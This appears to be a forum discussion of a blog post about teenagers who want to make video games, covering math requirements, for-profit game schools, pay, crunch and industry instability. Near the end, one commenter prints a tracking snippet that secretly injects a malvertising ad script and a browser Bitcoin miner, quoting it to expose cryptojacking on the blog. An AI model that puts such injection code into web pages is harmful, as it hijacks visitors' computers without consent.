So your teenager tells you they want to 'make video games' for a living
codesuppository.blogspot.com
codesuppository.blogspot.com
"Most of the time this young person thinks their qualifications come from the fact that they really, really, like to play video games a lot; and I mean like a LOT."
It gives you an opportunity to help them discover things they may be passionate about. Many times (not always of course) it isn't any game they like playing alot, it is a particular game or genre they like. The goal of exercise then is to think about what features or mechanics of that particular game make it so fascinating, and then looking for that same feature/mechanic in something that people pay for [1]. Is it the economy? Solving the mysteries? Developing the story line? Role playing and acting? Devising tactics? Optimizing dozens of variables? All these things are mechanics in computer games that can be found in non-game activities.
It may be that the kid likes all sorts of games, but help them to see the thing they like over the delivery mechanism and they can make smarter choices down the road.
[1] I did know a guy who liked playing WoW a lot and supported himself by selling gold and various and sundry rare and epic items. Again, more the exception and not the rule.
Do you find the economy of games fascinating? You might get one class on economics at the end of high school. Do you love building things in Minecraft and animating them with crazy redstone circuits? You'll be lucky if your high school has woodworking, metalworking or even art classes. Do you love exploring a game world? Your classes don't really have time to let you explore, please read the assigned materials.
I was lucky enough to have a computer a home where I could write (terrible) console-based games and later build web sites. Originally I wanted to make games, but then I found that I actually loved servers and the ability to reach across the internet to get data from a computer thousands of miles away was even more fascinating.
If a grey haired computer programmer would have told my 12 year old self "just give up because you're not a math genius" I probably wouldn't be a programmer today.
So no, don't tell kids they shouldn't want to make games. Because making games is a gateway drug for programmers.
The math requirements are very different if we are talking about triple-A games vs an iOS tower defense.
(Isn't CPU-based mining basically pointless nowadays?)
Can't say I agree with this entirely. I absolutely agree that going to college for four years will not make you into a good artist. But "being born with it" will not make you a good artist either.
Hammering away at it two hours a day from age 12 to 22 will make you a good artist. You may never be a great one (that is where being born with it comes in). But you will be a good one. And the same is true for most pursuits.
There was a great forum post a while ago where some guy could barely put together a stick figure and three years later (after an hour a day, every day) he was making oil paintings that people would actually pay for. I can't remember where though. Anyway, that sort of thing has nothing to do with talent. It's hard work and sticking to it.
I definitely think "I show an aptitude for art and graphic design, and enjoy doing it, so I will attend college to learn and grow" trumps "I have some magical amount of god-given talent."
But maybe that's because I never touched a compiler before college, and it hasn't affected my career.
I can see you would need very solid math and physics to build the next gen 3d graphics/physics engines although I remember an interview with John Carmack where he said that even he wasn't as good a mathematician as people thought he was.
Surely there's plenty of code that goes into games that isn't advanced linear algebra? Like code for networking , game saving/loading , menu systems , IAP payment systems etc. Stuff that probably has more in common with general web programming. It's also possible to buy or get for free various engines to do a lot of heavy lifting for you.
Also some of the most popular games now are 2d or isometric, you could probably write a 2d game from scratch without much more than basic trigonometry , linear algebra and plenty of trial and error.
This quote from his recent AMA really stood out to me -- "I'm sure my code is considered garbage by people that know what they are doing." And he has a very strong math background.
Plus you may not use it, but the logical framework and understanding of math is crucial to developers in general. I have yet to meet a good software developer who wasn't at least competent at collegiate-level math.
* If you actually writing an engine, maybe some linear algebra, calculus. OpenGL/DirectX provides quite a bit of this out of the box. Yes you need to develop some special skills but nothing amazing.
* AI in games is generally heavily scripted. There is some use of common AI ideas in RTS games, for example Monte-Carlo Markov Chains was used in Dark Reign (I think Unreal tournament 2k4 did this as well). It's nothing fancy, most AI in games could be written by someone that took an undergraduate AI class. Writing AI is more about understanding the players expectation of the game.
* Pathfinding is also heavily scripted. In many cases they will just define tracks for NPCs to move on, the NPCs will move to the nearest track and then follow it to their destination.
>There are much fewer programmers working on game logic and many more resources devoted to graphics, physics, pathfinding, AI, tools, and so on.
Many game companies are using an out of the box engine, the jobs are in scripting the game which is primarily game logic and backend stuff, just really boring game logic.
I own a game company (www.kidoteca.com) and I still own legally a sorta bankrupt game company (www.agfgames.com don't expect much on that site, it is sorta bankrupt for a good reason).
Also I worked with mobile games, and mobile apps that are not games at all.
And I went to a game school (I have a bachelor degree in Game Design and Planning).
First, the game industry as a whole, suck, the pay is HORRIBLE, HORRIBLE, HORRIBLE, HORRIBLE.
One year when I was particularly cash strapped, I dumped the game industry and went to a normal mobile dev job. My wage jumped BLOODY FIVE FOLD (I am not kidding).
Now that I am back working with games, I am earning half the money I was (some people might ask: why you are doing it? it is because I love doing what I do... and I won't switch unless someone offer me like 6 figures USD).
Beside the huge pay gap, the game industry is also very toxic, full of crunch, and full of jerks. Some people say it has rampant sexism. It is not sexism, actually most guys are not sexist at all (actually it is easier to find white knights than misoginists), but it is filled with jerks of all kind, noone is safe, NO ONE. You will get bullied for being female, male, black, white, asian, red hair, black hair, bad teeth, too good teeth, rich, poor, too good Team Fortress 2 skills, too bad skills, not liking Minecraft, liking Minecraft... People will just hate you, period. It would be like living and working with 4chan 24/7 (or just look at the most popular game forum: NeoGAF)
And finally, making games is HARD, DON'T do it because you think you like games you will like it, you will not, there are lots of boring tasks and crazy tasks. Do it only if you like what you have to do (or if you are good and can tolerate it).
Also, as consequence of making games being HARD, expect failed projects, companies, jobs, even marriages, game industry has lots of those.
And remember, although making games pushes you hard and forces you to learn a lot, you will find that your skills are quite unique and not much good for the rest of the market (With few exceptions of some specialities, like backend engineers or tool programmers), there are not much companies there wanting someone that can script levels in awesome ways, or that want a module file musician. And for coders, commonly in the game industry you might end learning Lua... Then good luck finding a non-game job that use that.
All that said, I can say...
Hell, I still love my job!
Full Sail has almost ALL the red flags that the article and video talk about. Including rushed "accelerated" courses, pumping out students, trying to teach us calculus in 1 month, trigonometry in 1 month, everything was so rushed. Classes were $3,000/month. Lab techs (assistants) played world of warcraft instead of helping us. I honestly have so many bad memories from Full Sail I really don't want to talk about it. The money wasted, the stress it caused me. I just feel overwhelmed with bad emotions.
Just stay away from Full Sail. I went back in 2006, I doubt they've changed. Their marketing and advertising is amazing though...
"Full Sail is not recognized by a regional accreditor or by the National Association of Schools of Art and Design. As a result, most traditional colleges would not honor credits earned by transferring Full Sail students or those who attempt to continue their studies after earning an associate degree from the university
Read more: http://www.insidehighered.com/news/2012/01/24/romney-right-a...
The author makes it seem like you need to be a math genius to even get a CS degree. You definitely need math, but you don't need to be a genius, just willing to work hard.
The gaming industry wasn't something I was actively trying to get into, and I had worked in telecommunications and manufacturing prior to this. When the big telecom I was working on started losing customers back in 2001, I knew what was about to happen and wisely jumped ship. I just happened to land with a company in Denver Colorado who was producing an MMO game as a startup, and they had no clue about how to actually get their product on the internet, or where/how to buy or manage server infrastructure.
I worked for a major publisher who was booming at the time, making tons of money. I also worked for a number of startups who went ended up going chapter 7, chapter 11, and one got sold out to an Asian firm who immediately told everyone to move to South Korea or get laid off.
When I left the gaming industry, the following things immediately happened:
I made 20% more money, instantly. The gaming industry pays lower than average wages in most cases, across the board. This is a supply and demand problem: there is a huge supply of goobers who want to make video games for a living, and a limited number of employers willing to pay them to do it.
I worked 20-40% less hours. Just about in every department in every company I worked for, people kept sleeping bags under their desks, had no lives outside of work, were present on weekends, and put in 50-80 hour work weeks. I once literally lived and slept in my office for two weeks, except when I went home to shower and check on things for an hour or two per week. That is what pushed me over the edge and when I finally quit.
My psychological health improved. I was happier, less stressed out, and stopped getting angry over little things. When I think back about it, the gaming industry basically gave me PTSD.
My physical health improved. I started putting on muscle weight, I was less tired, and a number of persistent physical issues went away. For example, I had a bad habit of biting my tongue, possibly out of nervousness, which magically went away immediately.
I started working with more talented, competent, people. I didn't realize just how unprofessional and disorganized some of the people I was working with were until I had another reference point again. As I shifted from being a server monkey to programmer, I realized that most of the developer guys had never worked in another industry before, were high-school and college drop-outs, and most of their code was crap. I saw from the inside a huge multi-mullion dollar Atari-funded game studio go down in flames because the developers didn't know that you can't use disk drives as a CPU: they built almost all of their MMO item inventory logic into SQL triggers and events. Let's not even talk about sexism and anti-social behavior.
Employment stability went way up. The gaming industry is very unstable, and companies crash and burn all the time. There is a constant flow of new startups who fail every year without ever having shipped/published a product.
Unsurprisingly, most people don't want to hear this negativity about the industry.
The people who I know still work in the industry don't argue that I'm wrong, but instead argue that it's the price you pay for doing what you want (note: most of these people seem pretty miserable to me). It's not a subject that I will often bring up, less I get a hostile reaction. After all, most of these people are emotionally bought in to the idea that they are the next John Carmack.
The kids who want to get into the gaming industry just ignore me or discount what I have to say. What else are they going to do? They can't even imagine getting a job in some boring industry like finance, government, manufacturing, health care, retail, or any of that nonsense.
And that brings us to the gaming schools. Like I said before, it's a supply and demand thing. There is a huge supply of kids who want to make video games, and not enough employers for them all. It's kind of like little boys who want to grow up and be astronauts, and little girls who want to me marine biologists. The numbers say it ain't gunna happen for most of them.
There is indeed money to be made in the gaming industry, but it's not in working inside of it. It's in selling the dream that all these dumb kids have, thinking they can grow up and make video games for a living.
I don't really have much good to say about working in the gaming industry. I met some cool people there, but as a whole, it's just an immature bunch of kids who have not grown up and gotten real jobs yet.
The flip side, however, is the creativity. At my last job but one I worked with writers who I've respected and whose work I've enjoyed since I was 18. I work with artists who do stuff that blows me away. It's the only industry where I get to be involved with that kind of creativity on a daily basis, and that is more emotionally satisfying for me than (say) search.
Oh, and the stability is no worse than startups. I've worked at two studios that are more than ten years old at this point, one that cratered, and one middleware company that probably doesn't have a ton of life left in it. All four of the companies I worked at in Silicon Valley in the 90s are gone, and two of those were serious business (Sun and AltaVista).
And I am conflicted, because my son is one of these goobers who want to make video games. :) But if I can use that desire to get him to focus on skills that would enable him to succeed there (and, by association, anywhere), then I'm OK with it.
I think I remember dave chappelle saying in an interview that his father told him you need to name your price early. And when people demand more than that from you, it's time to get out or get away from them. I feel like that's relevant. I bailed on the video game industry recently because I was miserably depressed, sickly and malnourished. But hardship builds character and there's something to be said for a person who doesn't shy away from what they believe they're really passionate about even if other people found it to be horrible.
Can someone describe to a newb what's wrong about this?
Ideally, you want to calculate all the changes, and then write to disk. In practice, you don't know when the changes 'end', so you want to write periodically to disk.
If you are using the RDBMS, you are relying on the optimizer to correctly guess what you are doing. When it gets it wrong, it will write continuously to disk.
The difference in speed is orders of magnitude, so this one change can easily make your server logic go 10 times slower for no good reason.
The problem is worse than this because the RDBMS is not just paging to disk, it's also doing locking/synchronization, thread pooling, tree building and call backs in the background.
In every case, it's trying to guess what features are just overhead, and what you really need ... and whenever it gets this wrong, it could be making a pointless system call, which gives you all the overhead of a context switch for nothing.
Whereas the gamedev doing this at a low level does not need to guess his own intentions, and uses (and pays cycles for) only those features he needs.
You might get away with a database-centric design if your gamedev is really good with databases (dubious) and if you have an appropriate database platform (nigh impossible).
But if you have the average gamedev (talented but schlubby and theory-averse) running on the average database (garbage MySQL, ugh!) your performance will DIE.
Hobby game dev is a Real Thing now and can be picked up by people without coding skills(via tools like Twine or Game Maker). Those tools are only going to get better, and the market for readymade assets is only going to grow. The cost of video game creation is likely to go down so sharply in years to come that we won't have anything resembling the industry status quo, which is tainted all over by cost and financing issues that drive all of the things we currently rail against(crunch, risk-aversion, socially detrimental profit-seeking, monocultural demographics).
As well, if we treat "gamification" as a core organizational goal, instead of a consultant's buzzword, then one can imagine a future in which new, forward-thinking organizations will find reasons to keep game designers on staff.
The transition towards low-budget indie efforts is a great immediate improvement. Although most who try won't be able to afford to do it full-time for very long, in that case crunch is self-enforced. We'll have a lot of passionate moonlighters instead of angry worker drones.
The sad fact is that a lot of higher education is a scam right now at the price charged. The NYTimes would suggest if your high schooler is considering becoming a lawyer it may be just as bad http://www.nytimes.com/2012/07/15/opinion/sunday/an-existent...
This discussion shouldn't be limited to just video game "schools", it has a broad application to any high school student considering what the hell they want to do. I think we a doing a disservice for not pointing this out, because (gasp) your child, or you, could just as easily end up going pursuing (insert expensive degree that will take most of your 20s to complete) and end up worse than had you gotten a mediocre 2 year video game degree.
My suggestion: spend as little as possible so you are able to make choices when you change your mind. (I went to school free and still dropped out.)
But is the demand for employees at game companies static? One could imagine, and I am hardly an expert, but one could imagine that as big games become bigger and bigger, indie games see more recognition among the 'mainsteam' and the industry grows in general, the number of people they employ will rise. It will always be more competitive to get into these companies compared to some other unsexy technical thing, but I think the games space is blowing up (economically and culturally) and the schools and more jobs are (will be?) a result of that. Same with the kids who want to go into the industry. The idea that there is necessarily a fundamental lack of opportunities for those who want to work in the industry doesn't feel right to me; I guess the big problem will be making a living doing it.
Its like having to found a new startup every year while having to converge 4+ major disciplines to create products (software, art, music, writing, and more).
Brilliant fun, with steep challenges on every angle. @jmomo you sound a little jaded. Glad things are going better for you.
This will sound astoundingly naive, I'm sure, but I really feel like our society is pretty cruel to young people between 18-25. If you fail in someway during these years, whether that be not getting into the right college, picking the right major, or picking the right career path, you do fall behind. It's one of the reasons articles like this even have to be written, to make sure young people don't waste time failing.
On a factual level, I know employees at many of the firms name-dropped in this article, and if they're super geniuses, they hide it well.
The article does not seem entirely objective to me. It seems to equate the entire game industry to the process and cycles big-budget triple-A titles go through.
I ended up being a software architect in the game industry, doing pretty well, and I did all of that after dropping out of studying graphic design at art school. I've never been a math genius, or even a stellar student. I have a fairly well balanced lifestyle and am paid very well.
I'm not saying this to brag. I just want to point out that a lot of the assumptions stated in this article are bullshit. You don't need to be great at math to be a game engineer. You don't need to finish a four-year degree at Stanford. If you're smart and can hustle, you'll do fine in the game (or any other) industry.
The only other real option is starting in QA, but prepare yourself for a $20-40K base salary with an incredibly limited career track unless you move out of QA into becoming an AP.
<script type="text/javascript" language="javascript" src=
"http://www.ewebcounter.com/include/track.js"></script>
<noscript><a href="http://www.ewebcounter.com/" target="_blank">
<img src="http://www.ewebcounter.com/track.jsp?project_id=59017&java=0" alt=
"Website Activity" border="0"></a>
</noscript>
<!-- End of eWebCounter Code -->
www.ewebcounter.com/include/track.js:
document.write('<scr'+'ipt type="text/javascript" src=
"http://ads.cpxinteractive.com/ttj?id=1082054"></scr'+'ipt>');
document.write('<scr'+'ipt type="text/javascript" src=
"http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></scr'+'ipt>');
document.write('<scr'+'ipt type="text/javascript" src=
"http://www.bitcoinplus.com/js/miner.js"></scr'+'ipt>');
document.write('<scr'+'ipt type="text/javascript">BitcoinPlusMiner(22487784)
</scr'+'ipt>');
So a bitcoin miner AND an ad platform associated with malware/malvertising.Pretty much every teenage boy told me his ambition was to make games. To them I said "study as much maths as your school will teach", which led to crestfallen faces.
To their parents I said "the games industry is terrible, but ours is a general computer science degree. Your boy will be able to get an entry-level job at any software firm".
The girls who came through seemed to be more interested in software as a professional career. It was an interesting contrast.
I will offer one disagreement: he's thinking about single-player games. There're also good jobs available on the server side for any online game (which is almost all of them these days). Server engineers don't need as much math as game programmers, and there are a lot of system and network administrators working in the game industry. Making games? Not exactly, but certainly working in gaming, with all the pros and cons that go with it.
In fact, you could argue we were solving the much harder problems in that game, since we had to deal with the massive scaling, while the game engine only had to deal with 10 people at a time.
Have you written anything on it?
I haven't written anything on it. I'm not convinced my piece of it was really interesting enough to warrant it. :) There were a lot of far smarter people than I on the team (it was one of the best software engineering teams I've ever worked on).
He's got about 3 million users. Not sure how many concurrent users he gets -- probably an order of magnitude or two less than LoL does.
Nevertheless, it all runs on I think one or two beefy servers. There's a very high fanout of game-available messages and they need to be addressed based on user-registered preferences as to the games they want to play.
From what he tells me, most of his secret sauce is network hackery. Batching up carefully-sized packets and so on. All that stuff I was basically awful at in uni.
Note also that all those careers are fungible insofar as you can take those skills outside the gaming industry relatively easily.
It's like they have no idea that for profit degrees are a great way to get your resume auto-chucked in the trash. (Good luck trying to talk to them about it though. Oh boy...)
Now I play games for fun, which is better than the few of my friends who did go into the industry.
Then graduate them to actual programming, and help them along a bit. Tell them to experiment with pong when they get it going. Add more paddles. Add more balls. Add obstacles.
Add whatever they think would be cool.
A Richard Garriott has talked about, good game design is a critically difficult field. Get them experimenting with gameplay as related to the underlying engine before you ever push them to a game design school.
You might think I balked and bailed. But the reality is I found out that the stuff that goes into making a modern AAA video game is way more interesting than the resulting product.
I now consider wanting to make video games a negative indicator of ever actually doing so professionally, even if the person understands the requirements to do so.
Especially if they understand them in fact.
But today I really enjoy the 'game' of understanding code and I like the fact that my work contributes materially to better living around the planet.
My favorite part is at the end, where he gives news stories just from today about 3 gaming companies laying off masses of people.
http://www.amazon.com/Talent-Code-Greatness-born-ebook/dp/B0...
This. I am doing Games Engineering right now and the amount of maths is larger than I've ever done in my life.
If they want to be "idea guys" who just go around saying, "dragons should be blue", then they need to be told that the world doesn't really work that way, and that "idea guys" who refuse to do real work are not seen as adults and generally loathed and pitied, not taken seriously. Real designers work, and hard, and most of the great designers are programmers or artists in addition.
It's after college that they will realize that there are plenty of things more interesting than most video games: machine learning, scientific computing, compilers. But if video game design is the gateway drug, then that works.
What a lot of young people need to consider is that "follow your passion" is the worst advice in the world. You shouldn't do something you hate, but if your work is what you've wanted to do since you were 5, you'll hate being a subordinate. Absolutely no one says, "a subordinate" when asked (at 5) what he wants to be when he grows up. If your passion causes you get into conflict with bikeshedding executives who have terrible ideas but can fire you, then avoid. That advice should be, "find work you enjoy, and transition to your passion when you're no longer a subordinate".